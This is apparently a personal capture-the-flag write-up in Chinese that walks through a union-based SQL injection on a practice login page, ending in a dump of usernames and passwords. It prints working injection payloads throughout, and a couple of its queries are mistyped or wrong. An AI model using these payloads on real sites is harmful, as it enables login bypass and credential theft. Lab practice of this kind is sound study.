由于一直学sql,但是一直记不住这个最最最基本注入的过程,所以专门写一篇记录一下。
一、万能密码登录,我们试一下:
在登录框中输入:
用户名:1' or 1=1#
密码:123(随便输)
二、 查询字段数:
在url中输入:注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
/check.php?username=admin' order by 3%23&password=1 存在
/check.php?username=admin' order by 4%23&password=1 报错
或用户名提交:
1' order by 3# 存在
1' order bu 4# 报错
三、获知有3个字段,用union查询测试注入点(回显点位):
1' union select 1,2,3#
四、得到回显点位为2和3,查询当前数据库名及版本:
1' union select 1,database(),version()#
五、可知当前数据库为geek
爆表:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
六、爆出这两个表,我们试一下l0ve1ysq1这个表:
爆字段:
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='l0ve1ysq1'#
七、‘id,username,password’得到这三个子段,
爆数据:
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
得到flag!